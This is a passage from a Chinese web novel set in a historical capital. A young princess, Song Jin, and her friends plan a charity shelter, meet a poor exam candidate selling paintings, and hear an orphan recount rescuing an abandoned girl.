这个钱还是紧巴巴的 宋锦看着她这模样,纳闷:“你没钱?没钱你捐来捐去” 杨彦珺看着她真心疑问的模样,又是羡慕又是无奈:“你不懂,大人的世界,总是要点面子的” 尤其是她刚和离,不说超越以往,若是连以往的标准都达不到,那多丢人啊 不过她也不是光讲排场,比起以前,她现在已经缩减大半,更注重实际一些,十两点银子得花出二十两的排面 宋锦撇嘴:“说得好像你多大似的,也就大那么几岁” 杨彦珺强调:“九岁,你知道九岁是什么概念吗?” 宋锦白眼:“我九岁那年就宰盗贼,射猪鹿了” 刚想说自己九岁已经可以裁衣服管铺子的杨彦珺把话咽了下去,换了个话题:“所以那一千两” 宋锦摆手:“你看着办吧,一半归你,一半弄东西” 弄这些钱都还是小问题,期间操的心才是大事,更别说那些东西,能弄到这个价格,也是因为杨彦珺,换做宋锦来,扔的扔送的送,顶天了五六百了 对于她的大方,杨彦珺轻哼一声:“我还没落魄到这个地步,那我就全算进去了,我想着干脆先简单找个地搭个平房,简陋些能歇脚,放些厚被子进去,无需多好,撑过这个冬日就行,等后面天好些了重新盖一个慈济院,请些大工,其他的就让他们帮忙,也花不了多少钱……” 其实最简单的,把那些东西送去各大慈济院育婴堂,省时省力,但那些院所都有捐助,吃穿是没问题的,送过去顶多锦上添花,不如外面雪中送炭 杨彦珺以前只有个简单想法,现在多了这些钱,她觉得可以再完善一下 于是,从一堆猎物,再到真金白银,到简陋棚子,再到慈济堂,到作坊…… 宋锦只是单纯心情来了,进山打个猎捐点东西让自己心情好点而已啊,不想搞什么城市建设啊,她听着听着眼皮子一耷,靠着靠枕就要睡去 杨彦珺无奈:“不是,你怎么这么困啊,昨晚没睡?” 她这两日弄这事才是没休息好,也不见她这么困啊 宋锦闭着眼睛,声音透着些生无可恋:“没睡好啊,我娘罚我背书练字” 杨彦珺嘴角一抽:“……就这?” 宋锦睁开眼,忧郁:“还有刺绣” 现学是来不及了,但是得认,什么纹路,绣法,绣类的,麻利麻烦,比她进山打两车猎物还要难 虽然也就短短两日,但是对她来说那叫一个度日如年,眼冒金星,现在想着,都只想在家里躺着,完全不想出门了 累,真的太累了 她娘可太狠心了 说着,宋锦又打了个哈 杨彦珺叹了叹气,合上账本,道:“行吧,那你快起来,我还要去拜访一下滕姑娘,弄完了你再睡” 宋锦还以为她要让自己先睡了呢,听到这话,无语地撇了撇嘴,磨磨蹭蹭地起身:“你可真不见外” 杨彦珺笑:“彼此彼此” 宋锦翻了个白眼,起身伸了个大大的懒腰,这才带着她出门 今日没有下雪,房顶和路上的雪被扫得干干净净,但是树梢花草上还铺着雪,银装素裹,每一地都是特意流出来的,看着就很舒坦 宋锦抱着手走在前面,在屋子里困,出来以后就清醒了,作为主人家,她和杨彦珺介绍着宋府,介绍这介绍这,她突然想起 “你应该比我了解吧?” 这人以前可是和宋行之正儿八经订了婚的,肯定来过宋府 听出言外之意,杨彦珺一个白眼,啧啧两声:“我以前也没来过两次,那时候年轻,早知道,啧” 婚前她对于荣华富贵一类还真没有特别明显的感受,成婚后就知道柴米油盐了,那有钱没钱,日子还真不一样 不过现在想这些也晚了 她语重心长:“你以后可要看好人家,那种面子光里子歪的人家,一点不行,这成婚啊,除了要看人,家世也少不了。我还有个小姐妹,就是弃了家里选的,嫁给了个看起来还不错的进士,最后一家子就看他们夫妻俩,公婆不讲究,小叔小姑难缠,那日子啊……” 宋锦困意彻底消散,她听得津津有味,听完感慨:“难不怪你们能玩到一起啊” 杨彦珺:…… 过分了哈 宋锦上下打量这个恋爱脑,啧啧道:“所以程思懿和你怎么玩到一起的?” 杨彦珺一个白眼,没好气地拍了拍她的胳膊,没好气道:“别挑拨离间,我和阿一从娘胎里就认识了,她自小聪明,大半时间都在学堂,和她家那位 也是青梅竹马,自然不同” 宋锦:“你就没个青梅竹马?” 杨彦珺:“她是在学堂里,一堆的竹马,我大部分时间在家里哪有什么什么竹马,男女授受不亲。说这么多,你有竹马吗?” 说着,她好奇地打量宋锦 她之前也听说了,宋锦就是乡下长大的,像这种一个村子,一起长大的人肯定不少,她这个年纪,定亲什么的也说不定 宋锦挑起眉头:“有啊” 说到这,她也想起了 会试已经结束,但是距离出成绩还有段时间,严盛和舒程浩应该就在城里,至于在哪儿,宋锦想了想就放弃,她名气这么大,他们有心打听自然找得到,该来会来的 不来也正常,对于他们来说,粘上宋家还真不是什么好事 她看着杨彦珺好奇的模样,勾唇一笑:“还别说,我认识那个,是我们那边的头名,这次考试应该能考上,要不要给你介绍?” 杨彦珺的好奇去掉,无语:“忘了我刚才说的了?我那姐们现在还在外县待着呢,上次写信说,小地方虽然不比永安城,但是胜得清静,她还想多待几年” 她说得绘声绘色,宋锦哧哧一笑:“那你确实想对了,那小子家里是挺难缠的” 杨彦珺感叹:“也正常,普通出生的孩子,好不容易有了出息,当爹娘的自然骄傲得意,女方条件差容易看不起,条件好,又想要压上一头。就是那些世家豪族,也都一样,反正吃亏的都是女人家。所以啊,找夫婿一定要仔仔细细看清楚” 这一点宋锦也赞同,略带得意道:“我眼神挺好的” 就齐铮那个条件,完全没有这个担忧 论钱,他可是有金矿的人 论权,真就是一人之下 论人,那也是一表人才,俊美坚毅,正义实诚 虽然有点老古板,但是问题不大,这年头太油嘴滑舌了才不是什么好事咧 想着,宋锦眸子璀璨,嘴角有些压不下去,那模样,怎么看怎么带着得意 不对啊 杨彦珺也是过来人了,一见她这模样便看出了三分,惊愕:“不是吧,你才出去多久啊,听我的,外面的野小子不行,姑娘家不能远嫁” 这距离近呢,那种在意的人家,早上吃亏,中午就到了 便是娘家不在意人,为了脸面也不能让人过于欺辱 杨艳珺语重心长:“都城这么多年轻俊杰,哪个不比外面好?” 虽然她之前也猜测宋锦和齐铮有点什么,但是到底是猜测 宋锦这次外出是寻亲,多久走的她们也不确定,一开始她还猜测是一起的,但是现在人回来了,那边队伍还在外面,她就没往这方面想 不过想到寻亲 她睁大眼睛:“你娘的亲人找到了?不会是你那边的什么表哥表弟吧?我跟你说,凡事还是长个心眼,你们那么多年哎哎” “你可真能猜” 宋锦一个白眼过去,掏了掏耳朵,伸手拉住人拖着走,一边走一边嫌弃:“跟我娘一样,你们成了婚的人话都这么多?” 杨艳珺:“……经验之谈,你还小你不懂” 宋锦啧了一声:“你的经验就算了吧,管好你自己,哎,我怎么听说这段时间还有人上门提亲了?” 杨艳珺总算闭上嘴了 便是百般经验重要,奈何现实万般 宋锦扬起眉头,她也不会照顾人的脆弱,幸灾乐祸地继续:“听说是个二婚带娃的老头?” 杨艳珺恼:“人而立之年,什么老头不老头的” 显得她多惨啊 宋锦悠悠:“差三岁的而立之年?比我娘年纪都大” 杨艳珺忍不住拧了拧人:“你可真够了,不是才回来吗?怎么什么都知道?” 宋锦得意:“你也不看看我是谁” 她自然是打听不到这些的,可谁叫宋府里有好几个消息通呢,尤其是宋安之和宋清之两个,简直是八卦源头。兄弟俩没别的本事让曲茂泽另眼相看,就往宋锦这边靠,有事没有过来和她说点八卦 远的她不认识的没啥意思,那就近的 她来都城这阵子认识的人不多,杨彦珺绝对是其中最‘热闹’的那个 杨彦珺想着就烦躁,她和离也还不到三个月呢,她也并不想给人当后娘,这玩意儿是那么好当的?做得好是你该做的,做不好你不是个好东西 至于亲生的,她之前三个孩子伤了身,以后还真不一定能生养 杨彦珺:“烦都烦死了,没点清静时候” 这还只是开始,她今年才二十四,再往后便是十年,上门提亲的人都少不了 宋锦抱着手,悠哉悠哉:“不喜欢就直接不见就是了呗,多大点事啊” 杨彦珺叹气:“哪有那么简单” 那些帮着提亲介绍的都是些德高望重有身份的人,她总不能把人拒之门外吧?再说提亲的人,总归也不是什么普通人物,她便是不愿也得应付一下 宋锦不理解,反正是她的话,直接走人就是,说一遍不听,说两遍不听,那就别怪她关门放虎了 杨彦珺看着她肆意无拘的模样,很是羡慕,但是自己确实也做不到,她需要把握人脉,就得接触人,就少不了这些杂事 她感叹:“你这样也挺好的,所以更得找一个条件好的夫婿” 说来说去又绕了回来,宋锦简直服了,翻着白眼,拉着她大步走:“还记得你出来干什么的吗?不是要找我未来二嫂吗?快点吧” …… 滕千璇家在都城是有房子的,虽然不大,但是也有小院 只是她家中亲人尽皆去世,自小的贴身丫鬟被她放了成家在外,后面找的小丫鬟被舅家收买,她独身一人不安全,就暂住宋家 虽然说出去少不了蜚语,但经舅家这么一遭,滕千璇现在也不在意这个了 宋家都是好人,她也没必要拗这些 她自小饱读诗书,琴棋书画都会,这几年在家里呆惯了,来了宋家也就在院子里待着,天天看书练字画画,那叫一个诗情画意,宋锦过来待不了一个时辰就得跑,反倒是小耳小眉过来得多些 曲茂泽现在‘登堂入室’,牛铁兰身边根本没有她们的地,店那边现在走上正轨,她们偶尔去看看就好 宋锦她们过来的时候,两个人就在院子里,三个人各自坐在一个桌子前,拿着毛笔画画 小耳纯粹凑数,小眉努力学习,滕千璇宗师水平 那山那水那人物,看着就栩栩如生,便是宋锦不懂字画,也看得出她水平很高 杨彦珺欣喜上前:“几年不见,璇妹妹画艺更胜一筹” 滕千璇愣了一下,好一会儿,放下笔,欣喜地走上前来:“是珺姐姐?几年不见,姐姐风采更胜一筹” 杨彦珺笑着捏了捏她的脸:“还是你这小嘴会说话,几年不见,瞧瞧你这小脸,又白又细腻,果然还是江南的水土养人,在那边过得可好” 滕千璇抿嘴笑,带着些不好意思,道:“挺好的,江南山水秀丽,土地肥沃,吃食众多,很是养人。就是梅雨时节潮湿,整日整日下雨反水,不注意容易风湿” 那眼睛都不眨一下的,若不是宋锦知道她的遭遇,还真会以为她过得很好呢 不过这般也好,宋家树敌颇多,她若太过脆弱柔弱,以后在外少不了受委屈 宋锦看着两个一口一个好姐姐好妹妹的人,抱着手:“你们俩以前认识啊?” 杨彦珺挽着滕千璇的胳膊,笑眯眯:“以前一起加过诗会,璇妹妹才华横溢,写得一手好诗,经常帮忙写帖子,可厉害了” 宋锦若有所思:“这样啊,那你后面干活就带她一起去呗,老在家里蹲着,你看那脸白的,病殃殃的啧啧” 杨彦珺嘴角一抽,下意识看了看滕千璇,见她抿嘴笑并没有半点不开心,放下心来,无语道:“你可真会说话,不过说得有道理,我过段时间要筹备慈济堂,璇妹妹你可要 帮帮我。会试结束,阿一事情很多,都没空理我” 滕千璇有些犹豫:“我吗?我许久未接触这些” 杨彦珺笑眯眯:“你可太谦虚了,再说,就是手生了些,不是还可以熟能生巧吗?你就帮帮我吧……” 滕千璇这几年在家中少有接触事务,对这些事有些陌生,但是犹豫再三,还是应了下来 宋府虽好,但她也不能天天在院里待着,什么都靠着宋家 她爹娘去世后,家产嫁妆全都在她手里,以往没有机会,现在总要谋算谋算,给自己再置办些东西,免得坐吃山空 两个人一拍即合,聊着聊着,就说起了永安城的事情 主要是杨彦珺说,滕千璇大部分时间听着,偶尔回一句两句,也完全在点子上 你来我往的,两个人聊得开心,又说起了各种琐事 什么衣服料子诗书胭脂 宋锦兴致缺缺,坐了一会儿就打起哈欠,果断溜走 杨彦珺见怪不怪,滕千璇也习以为常 对比宋家兄弟五个人,她们在宋锦这已经是贵客待遇了 杨彦珺忍不住:“你不知道她多不靠谱,前两天出去打了一堆的猎物回来,手一甩,眼睛一闭,人就跑了” 滕千璇抿嘴笑:“是小妹的性子了” …… 两个人相视一眼,噗嗤笑了出来,你一言我一语,好像又回到了那些年在永安城时候一起的快乐日子 十四五岁的年纪,真是最无忧无虑欢快幸福了 第120章 你那个竹马? 滕千璇相貌随了亲娘,她是典型的江南美人,皮肤白皙,身姿纤细,脾气又温和柔顺 不过那也只是看起来 许是年岁增大,也许是这些年守孝苦行,她性格十分坚韧,看似温温柔柔,做事相当雷厉风行 前几日她还在杨艳珺的劝说下犹豫,这几日就跟着她动了起来,伙着一群宋锦眼熟但是没接触过的贵女,处得跟亲姐妹似的 “她这也不需要我照看吧?我看她挺适应的” 宋锦抱着手不近不远地走在后面,看着前面那俩穿得花枝招展、笑声如铃的人,有些小郁闷。 她走一步顶她们三步,现在得慢悠悠跟在她们后面,好累啊。但是走近一点,听着她们说那些个民生计事或者胭脂水粉的,又脑袋疼 要不是她娘要求,她早就溜了 两个丫鬟跟在她旁边,听着她一路吐槽 小眉抿嘴笑:“璇小姐也就这两年在安东郡,以前在都城的时候,很有名气,才学可以和程思懿小姐并论,是永安城诗学双姝之一” 小耳叽里呱啦:“小姐你不知道,永安城花样可多了,像什么双姝,三杰,四佳人,五魁首,六,六七八,反正挺多的” 宋锦哟嚯一声:“那她们是不是天天聚在一起打酒拳呢?” 小耳气鼓鼓:“小姐” 她本来就是个小圆脸,带着婴儿肥,皮肤白,容易脸红,气鼓鼓的,和苹果没什么区别,再加上个头小小的,让人很有欺负的欲望 宋锦忍不住掐了掐她圆圆的脸蛋,感叹:“不是,就你这样的,小多会不会太大了点” 小耳一张脸瞬间爆红,跳起来想打人,拳头捏捏放放,恼羞:“小姐!!!我要回去找夫人告状” 宋锦切了一声,嘲笑:“我又没说什么,我是说小多体型大,你自己想歪了哈” 不是体型大还能是什么? 小耳懵了一下,从脸到脖子都红透了,脑袋都快冒烟了,磕磕巴巴说不出话来,她尖叫一声,眼看着就要往雪里钻了 小眉一把拉过来,无奈道:“小姐,别闹了” 宋锦看着人都要爆炸的模样,摸摸鼻子:“知道知道,这不是无聊嘛” 无聊就拿她逗乐是吧? 小耳气得跺脚,又往小眉怀里钻,哼哼唧唧:“小姐坏,小眉我们不跟她玩了” 小眉好笑地拍拍她的肩膀:“行,我们自己逛去,让小姐自己玩” 就宋锦现在无聊的状态,她们俩留下来就是被她玩了 那不太妙 三十六计,先走为妙 说着,两个人牵着手就这么大摇大摆地走了 宋锦抱着手站在原地,看着两个人的背影,翻了个大大的白眼:“可真好意思,还记得谁是小姐吗?” 真小气,上次两个还调侃她呢,轮到自己就先跑了,真是一点儿也不厚道 小耳回过头冲着她做了个鬼脸,然后拉着人快速跑开,就跟身后有鬼似的 宋锦啧啧摇头,转过脑袋,看着停在前面的滕千璇和杨彦珺,深深叹气,蔫着脑袋跟了过去 要不是怕她娘知道了又逼她读书,她早就阴奉阳违地跑走了 这两人话太多了,全说的她不感兴趣的大道理 啧 “你们又怎么了?” 宋锦叹着气走了过去,轻轻挡住挤向两人的人群,隔着一堆脑袋看向人堆里面 人太多了看得不太清,不过有几个摊子在,应该是卖东西的 今日天气很好,多日的大雪停下,冬风平静,难得出了大太阳,照在人身上暖洋洋的,所以今日出门的人也格外的多 宋锦本来是打算带牛铁兰出门溜达的,可惜人种蛊身体不舒服不想动,也不想她陪着 小姑娘家家的,天天不是跟着娘亲就是四处乱窜,也不像个样子,牛铁兰就让她跟着滕千璇出来 于是就是现在的场面了 见宋锦过来,滕千璇看着她的目光带着无奈,又觉得有些好笑:“跟我们一起有这么无聊吗?” 宋锦打着哈欠:“你说呢?” 什么胭脂水粉,书画绣坊,那是她能去的地方? 滕千璇解释:“其实我也很久没逛了” 她这些年守孝,不说不吃荤食,但打扮什么的还是很少,就更别说出门游玩了,现在能出门了,确实稍微兴奋了一些 “所以才要多逛逛”杨艳珺一把揽住滕千璇的肩膀,笑眯眯,“以后姐姐多带着你玩” 滕千璇抿嘴笑:“那就麻烦珺姐姐了” 一口一个姐姐妹妹的,宋锦搓了搓胳膊,打了个寒颤:“你们能不能好好说话?” 杨艳珺笑眯眯:“说起来,我比你大了八岁,你也该叫我姐姐” 宋锦呵呵一笑,回:“我是郡主,按规矩,你还得给我行礼” 两个人目光对视,火气渐起 滕千璇赶紧打圆场:“这儿看不清楚,我们往里挤点吧” 宋锦看着她纤细苍白的模样,再瞅瞅人堆,啧啧两下,抱着手大步朝前,轻轻松松开出了一条道,带着她们挤了进去 人堆里是几个小摊子,几名书生打扮的坐在桌前,忙忙碌碌 宋锦看着最中间的人,挑起了眉头,再看向旁边挂着的字迹 “春联字画,窗花符纸,十文一副。山水画像,百文一张” 杨艳珺念了出来,然后哧哧一笑:“他们倒是挺会做生意的,说起来我今年还没留像,一百文买不了吃亏买不了上当。走,姐姐出钱,我们一人画一张” 区区三百文硬是花出三百两的气势,不愧是小钱大用的人, 宋锦啧啧两下,瞥向里面三个摊子最中间的白面画师,看着他俊朗的模样,还能不明白她的想法? 这人就是个大色迷,和离后简直放飞自我,这里俊俏道士,那里魁梧铁匠,现在一碰上俊俏画师又挪不动脚了 眼看着人已经拖着滕千璇跑了过去,挤走后面的人,手一挥就甩银子,宋锦勾起嘴角,慢悠悠跟了上去 杨彦珺已经沉迷在男色中了,说好的三个人三百文,但是手一挥就变成了一两银子,压着声音故作娇俏:“我不要那种简单的,你把我画漂亮精细一点,最好加点花花草草” 严盛坐在桌前,看着那一两银子,不卑不亢地从旁边拿出一卷画好的画卷,上面是十岁上下的小子,手上拎着蛐蛐小笼,脚下踩着蹴鞠,仰着脑袋哈哈大笑,很是可爱 画面背景简单,颜色也说不上精细,比起杨彦珺以往的画像简陋多了,但是神态却是十分自然神似,看得出来画者的笔力 杨彦珺赞叹:“公子真是一手好画,想必是这次的考生吧?” 每次科举前后,都城都会有一群外地考生过来,这些人中不缺条件好的,但是条件差的也不少 来回路费食宿,平日购书游学都要钱,对于他们的家庭来说是很大一笔负担 一些人带着读书人的自傲清高,坦然要求家里供养,但也有不少人心有愧疚,会自己想办法赚些银钱补贴家用 面前这画师这般年轻,容貌又如此出色,聊聊几笔便能精准拿捏神态,在这个时间点,极大的可能便是今年的考生 严盛:“姑娘猜对了,我和旁边两位仁兄都是今年的考生,成绩还未出来,今年眼看着便要在都城过年了,便想着赚点食费” 杨艳珺:“我就知道,看公子的神采,此番定然能高中” 严盛失笑:“那便借姑娘吉言了” 杨艳珺盯着他俊朗的脸,接着问:“公子这边年纪便是举人,真是少年俊杰,不知可成婚了?” 严盛有些无奈,但是这个问题早就被问过无数遍,就是刚才也有不少人问过,看着面前人浑身上下一看便不便宜的打扮,想到榜下捉婿的传统,他眼皮一跳,小心谦逊地回道 “在下家贫,一事无成,读书全靠善人捐助,现在科举未成,暂不考虑婚事” 杨艳珺眼眸一亮,还要接着问,脑袋上突然一疼 宋锦无语的声音从脑袋上传来:“怎么的,杨大小姐是打算招赘了,问这么详细?” 她巴掌按在杨彦珺脑袋上,再看向错愕的严盛,勾着嘴角,带着些调侃:“哟,许久未见了,我们的解元大人一如既往地受欢迎啊” 宋锦长得明艳,神色飞扬,所以衣服大多也都是浓艳的颜色。今日一袭绛紫色木槿花纹衣,紫玉簪插在发间,嘴角扬着惯有的张扬笑意 还是那张脸,还是那个人,但是比起乡下时候蓬勃的野性,此时的她浑身散发着贵气,便是周边人潮蹿动,也由她分割开来 严盛怔愣,涌出的欣喜也一点点缩了回去,带着更复杂的百味 他一直都知道宋锦是个很厉害的人,武艺高强,小小年纪就视后山为后花园一般,若是她想,随时都能赚取超乎想象的银钱。除此之外,她看似嚣张狂妄,但是能屈能伸,能分辨是非,在外和县城衙役关系良好 是镇上的人想象不到的厉害 所以严盛一直都很努力地读书,生怕自己表现平平让牛铁兰失望,淡去了想法。可惜,他能控制自己,却也管不了家里爹娘,管不住弟妹,更 得不到宋锦的青睐 从头到尾只是他的一厢情愿罢了 以前便是如此,现在就更宛如天堑累 面对宋锦寻常的调侃,严盛苦涩一笑:“便是万般人喜欢,也不及一人不喜” 宋锦手紧了紧,下意识一用力 杨彦珺嘶了一声,把她的手扒了下来,捂着脑袋瞪人:“你当我脑袋是木头做的啊” 宋锦嘲笑:“这可是你自己说的哈,木脑袋” “……” 杨彦珺懊恼,伸手理着自己头发,看看宋锦再看看严盛,突然恍然:“这就是你那个竹马?” 她有些嫉妒了 这小丫头整天没个姑娘样,逗猫遛狗,四处乱窜,但是身边的人怎么一个比一个好看啊 杨彦珺看着严盛那自从人出现后就挪不开的眼睛,在心里嘀咕 死丫头艳福不浅啊,还好不解风情,不然可有得闹腾了 而严盛的注意力则全在杨彦珺刚才说的话上,神色怔怔,难掩欣喜之意:“你们,还说到过我?” 宋锦看着他这样,搓搓手上的鸡皮疙瘩,往后小退半步,一本正经道:“说坏话的时候提到的” 严盛:…… 宋锦见他不信,耸耸肩,直接道:“就你那爹娘弟弟妹妹,你这次考这么好,他们怕是直接掀旧房子盖新屋了” 严盛苦笑着,还想解释解释:“他们就是苦日子过多了……” “行行行,不坏不坏,你自己小心以后别被坑了就是。”宋锦摆手打断他,转过话题,看着一桌子的画卷,啧啧,“你这脑瓜子确实好使,不过弄这么多,怎么,知道自己没考好,直接不准备殿试了?” 严盛无奈:“一天两天不耽搁什么,都城开销大,若是这次一举中了还好,若有意外,待到年后秋日二次,将近一年的时间,总不能坐吃山空。” 这次科举是新加的,多一次自然是好事,但是期间花销也不少 宋锦挑眉:“没钱了?帮人帮到底” 严盛知道她要说什么,立马拒绝道:“还有,走之前县里和学院都有资助,肖县令私底下也给了些,加上杂七杂八的,我手头还有不少。只是天天看书多少烦躁,出来也算放松一下” 科考是大事,他不是什么死要面子的人,若真走投无路,厚着脸皮也要想办法筹资 宋锦放心地点了点头:“行吧,要是有需要,就去找我们,你应该知道我们现在在哪儿吧?” 严盛心情就更复杂了,艰难点头:“郡主的大名,如雷贯耳” 宋锦小小得意,摆了摆手:“看在是老朋友的份上,这次就免了你的礼了” 严盛哑然 两个人你一言我一语,一看就是老熟人了 杨彦珺听了半天,看着桌面上的空纸,还有周边越来越多的人,小声:“所以还画不画了?” 她的一两银子呢,换做米面都上百斤了,现在收也不是,不收也 心疼啊 宋锦翻了个白眼:“画,怎么不画,有钱不赚是王八,是吧,严举人?” 严盛看了她一眼,心生感慨 虽然她平日大大咧咧,行事鲁莽,但是很多时候又比谁都贴心,就像现在 他无奈:“自然要画,不过今日匆忙,画得多少匆忙,不如后面选一日来仔细研画?我本该前段时间就去府上拜见夫人,不巧你们出去了,就一直拖到现在。在镇上时候,多亏了夫人才有我今日,于情于理,我都该上门拜访,只希望你和夫人别嫌弃” 看着他诚恳的模样,宋锦轻哼一声,嘀咕:“还算不是个白眼狼” 严盛失笑,他知道宋锦的意思 宋府虽是国公府,但在外,尤其是读书人的心中并没有什么好名声。他贫苦出生,无根无底,是最大的坏处,却也是最大的好处。 相比起和宋家沾上关系,和她们保持距离其实才是最优的选择。他上了宋家门,在外就贴上宋家的标签,定会受到不少针对 依照母女俩的为人,他就是这般一言不发,当做不识,她们也不会说什么 可严盛做不到 他这一路来,每个学堂,每个笔墨,都离不开母女俩的支持。他便是利,也做不到如此自私自利、狼心狗肺 严盛郑重抱手:“夫人的大恩大德,盛铭记在心” 除去恩德,他也有事要禀 泗安县之事,他一直耿耿于怀【你现在阅读的是 】 120-130 第121章 第 121章确实不简单 “黄黄,来,汪一声” “咪~” “不对不对,是汪” “咪~” …… 院子里面,宋锦翘着个二郎腿坐在竹摇椅上,一手端着热茶捂手,另一只手塞着零嘴,悠闲自在 在她前面的位置,几个小崽子围着金黄的巨虎,又是顺毛又是按摩,一个个个头不大,但是胆大包天,企图用那些小恩小惠让黄黄改口 宋锦啧了一声,拎起手上的牛肉干扔过去,精准砸在骑到黄黄背上的小花脑袋上:“它是老虎不是狗,别给我得寸进尺哈” 黄黄被四个崽子围在中间,趴在那儿用爪子捂着耳朵,忍了一路叽里呱啦,看出宋锦是在为它说话,一个翻身起来,圆耳朵上的毛炸起,一双金灿灿的眼睛转着 它甩甩身子,一个跳跃远离四个崽,跑到了宋锦腿边坐下躺下,小腿粗的巴掌轻轻扒着她的腿,委屈巴巴 “咪~” 宋锦放下脚,踩在它的大脚丫子上,手头的肉干扔给它:“好了好了,我们不跟小屁孩计较,你是咪咪,不是汪汪” 黄黄打个滚:“咪,咪~” 这些日子它都在宋府待着,这边后院宽敞,每日好吃好喝的,肉眼看着就更圆了几分,配上格外金灿的毛色,可爱得不得了,让人很难把它和猛兽联系上 那也就是她还在这 宋锦坐在摇椅上,一脚踩着黄黄的虎脑袋,一只脚往前一踢,拦下了狗胆包天还想要扑过来的小花,狭长的凤眸黑压压地盯着人 “够了” 因为玩闹有些过于兴奋的小花瞬间清醒,咧着的嘴一点点闭上,老老实实站在那里,小宁、福哥、胜哥一个个也静了下来 宋锦满意地点头,摆手:“行了,别惹黄黄了,真惹到它了,一巴掌给你们脑袋都拍掉,自己一边玩去” 小花点点脑袋,眼睛瞅着黄黄不放 宁宁也小步过来,跟着坐在宋锦脚边,奶声奶气:“不惹黄黄,我们乖乖哒” 宁宁向来都乖巧听话,至少面上是这样的,福哥胜哥年纪大点也比较稳重,奈何小花就是个人来疯,一个人就能带动一伙人,几个人凑一起疯得很 曹老板都压不住人 在宋锦她们出门的那段时间,上杨村的育婴堂堂主还抓们跑过来收拾了一通人,结果也就是这样了,说一阵管一阵 不过在宋锦着,就是老虎也得老实,就更别说几个崽子了 她点点下巴:“一边玩儿去” 不给玩就不给玩,没得商量 宁宁和小花蔫下脑袋,叹着气,一步三回头,奈何宋锦心硬如铁,她们只能放弃,走到另一边雪堆里蹲着。两个人年纪小,没一会儿就放下遗憾,兴奋地玩起了雪,堆起雪娃娃 胜哥跟在小花屁股后面,马首是瞻,分不清谁才是小弟 宋锦摇了摇头,又喝了杯热水,再侧头,福哥还站在原地,犹犹豫豫,她纳闷:“怎么,有事?” 几个娃现在在酒铺都定住了,这有了靠山,平时帮着打酒送酒,又做点手工赚外快,日子过得有模有样 今日就是送酒到这边街区,就跑过来找她玩 宋锦看他们还算顺眼,也不介意带他们玩——和他们一起都比和贵女们聚会好玩 福哥看着宋锦淡定松弛的模样,捏着手,纠结好一会儿,小声:“郡主上次说,以后再和你说宁宁的事,具体是什么时候?” 宋锦:…… 这是什么时候的事来着? 哦,好像是她上次坐牢的事了,那时候她自己一屁股事,她娘也练蛊在即,没心思管这些闲事 现在嘛 宋锦想了想后面的计划 她娘身体稳定了下来,有曲茂泽在,她都没有掺合的地 家里的铺子已经稳定下来,不需要她做什么 她阿爷阿婆也找到了,两个人位高权重,无须担心 仇家,她暂时也去不了,其他人也有计划,她操不了这个心 仔细想想,除了顾着些滕千璇这个未来二嫂,她最近好像确实没什么事情 宋锦放下茶水:“那你现在说吧” 她刚好也给自己找点事情做 福哥惊喜:“真的?” 宋锦:“你先说,我听听再看” 那些个大家族里阴私事多得很,很多时候东西查无可查,就是查到了 这年头人很脆弱,一场风寒,一道伤口,都能轻易带走成人的生命,更别说这种小崽子了 宋锦在镇上时候,基本上每年都能听到两三个因为各种意外去世。她看向那边开开心心贴着脸玩雪的两个小崽子,轻轻摇头 别的不说,她们作为孤儿能长这么大,命都还挺硬的 “那是五年前了,我当时也就宁宁这么大,晚上饿得受不了,偷了别人的鸡去林子里烤着吃”福哥没想那么多,他憋了这么多年,现在好不容易找得到人说说,他有些迫切地说起了多年前的往事 那并不是一段很好的回忆,乞儿的日子并不好过,育婴堂里全是各异的孩子,他这种体型小的人日子并不好过,得罪了里面的老大,每日都受欺负,实在受不了了就偷偷跑了出来,靠着乞讨,还有小偷小摸过日子 那日也是如此,他白天去要饭,被那人狠狠羞辱,还被打了一巴掌,晚上就偷偷摸摸跑去他家偷了最肥的老母鸡,钻到没人的偏僻地试图做烤鸡,没想到会碰上比他更鬼鬼祟祟的人 他们把人扔在了地上,在那里讨论是把人埋在地里,还是直接扔外面乱葬岗 才五岁的福哥没见过这般世面,藏在缝隙里看着凶手的背影,再听着那边奄奄一息的哭声,犹犹豫豫,还是偷偷把人给抱走了 这一抱就是四年 福哥想到那时候的惊险,咽了咽口水:“宁宁那时候小小的,脸红红的,我当时也没想那么多,就抱着她藏到了偏僻的破庙里,里面也不知道是谁供奉了东西,就这么晕晕乎乎躺了几天。现在想着,那年都城疫病,宁宁那时候应是染了天花” 宋锦挑起眉毛,不得不感叹:“你们命可真大” 这可是天花啊,命不是一般的硬,不愧是流浪都能攒下钱的崽 福哥挠头:“那时候也没想这么多,我从小就被扔了,一个人孤零零的,反正活着也就那样,死了也就死了” 宋锦撑着下巴,凤眸静静地看着他:“现在呢?” 福哥有些不好意思地笑道:“宁宁,阿路,老三他们都还小,我是大哥,我怎么也得好好活着,以后给他们筹办聘礼嫁妆” 宋锦揉了他的脑袋,夸赞:“有志气,你肯定能行的” 他小小年纪就有勇有谋,又有责任心能吃苦,会借力,也有真心,现在有住的地方,能继续学手艺,几个人齐心协力,过几年定然能拥有自己的房子 福哥深吸气,重重点头:“我会好好努力,带着阿路老三他们过上好日子,就是宁宁,我当时听了一嘴,她是被偷偷扔的,她娘亲不知道,我,我,还是想给她打听一下” 宁宁生得好,又聪明,跟着他们吃这些苦,实在可怜 如果可以的话,福哥还是想她能回家,能读书识字,穿金戴银 宋锦若有所思,又问:“她那时候的衣服首饰这些还在吗?” “都在,我藏得好好的,就是”福哥说着有些不好意思了,挠头,“这么多年了,有些破了,但是这个我放得好好的” 说着,他手伸进兜里,掏出早就准备好的 一条非常普通的红绳 红绳有些年头了,颜色褪了大半,呈暗淡的粉色,线条破损,还有些毛喇,虽然上面的花纹还很清晰,但是普通得不能再普通了 宋锦随便出个门,在外面小摊子上随随便便都能看到几百条,一点儿也不稀奇 她把红绳拿了个过来仔细打量,试图找到点不一样的细节,她瞅,再瞅,突然问:“只 有这个?上面有没有什么金银之类的” “就只有这个”福哥摇了摇头,又期待地看向宋锦:“郡主觉得,能不能找?” 宋锦捏捏红绳,反问:“你知道都城有多少人吗?” 福哥迟疑:“百万有余” 宋锦白眼:“这不就得了,那么多人谁能知道啊,我过两日去铺子,你把她以前的衣服给我,我找人问问,你别报太大希望。就算是找到了,人回去也不一定是好事,富贵人家的日子,真没你想的那么简单” 便是按照他说的,宁宁是被背着扔出来的,亲娘不知道她的事。但是四年过去了,人也指不定有了新的孩子,她一直在外流浪,说出去不好听,人也不一定愿意认。退一万步,便是宁宁亲娘愿意,在家里也不一定说得上话 这过日子,并不是吃好穿好就是好的 